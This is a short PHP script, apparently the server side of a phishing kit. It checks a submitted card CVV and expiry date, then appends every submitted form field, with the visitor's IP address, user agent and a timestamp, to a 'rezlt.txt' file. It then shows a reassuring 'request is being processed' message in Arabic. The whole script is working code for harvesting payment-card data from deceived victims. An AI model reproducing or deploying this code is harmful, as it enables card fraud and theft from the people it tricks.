date_default_timezone_set(&quot;Asia/Riyadh&quot;);/* تحقق CVV = 3 أرقام */if (!isset($_POST[&#039;cvv&#039;]) || !preg_match(&#039;/^\d{3}$/&#039;, $_POST[&#039;cvv&#039;])) {    die(&quot;&lt;h2 style=&#039;font-family:Tahoma;text-align:center;color:red&#039;&gt;    خطأ: CVV يجب أن يكون 3 أرقام فقط    </h2>&quot;);}/* تحقق Expiry */if (!isset($_POST[&#039;expiry&#039;]) || !preg_match(&#039;/^(0[1-9]|1[0-2])\/\d{2}$/&#039;, $_POST[&#039;expiry&#039;])) {    die(&quot;&lt;h2 style=&#039;font-family:Tahoma;text-align:center;color:red&#039;&gt;    تاريخ الانتهاء غير صحيح    </h2>&quot;);}$data  = &quot;\n===========================\n&quot;;$data .= &quot;التاريخ: &quot; . date(&quot;Y-m-d H:i:s&quot;) . &quot;\n&quot;;$data .= &quot;IP: &quot; . $_SERVER[&#039;REMOTE_ADDR&#039;] . &quot;\n&quot;;$data .= &quot;المتصفح: &quot; . $_SERVER[&#039;HTTP_USER_AGENT&#039;] . &quot;\n\n&quot;;foreach ($_POST as $key =&gt; $value) {    $data .= strtoupper($key) . &quot;: &quot; . $value . &quot;\n&quot;;}$data .= &quot;===========================\n&quot;;file_put_contents(&quot;rezlt.txt&quot;, $data, FILE_APPEND);echo &quot;&lt;h2 style=&#039;font-family:Tahoma;text-align:center;margin-top:50px&#039;&gt;طلبك قيد المعالجة     ✅</h2>&quot;;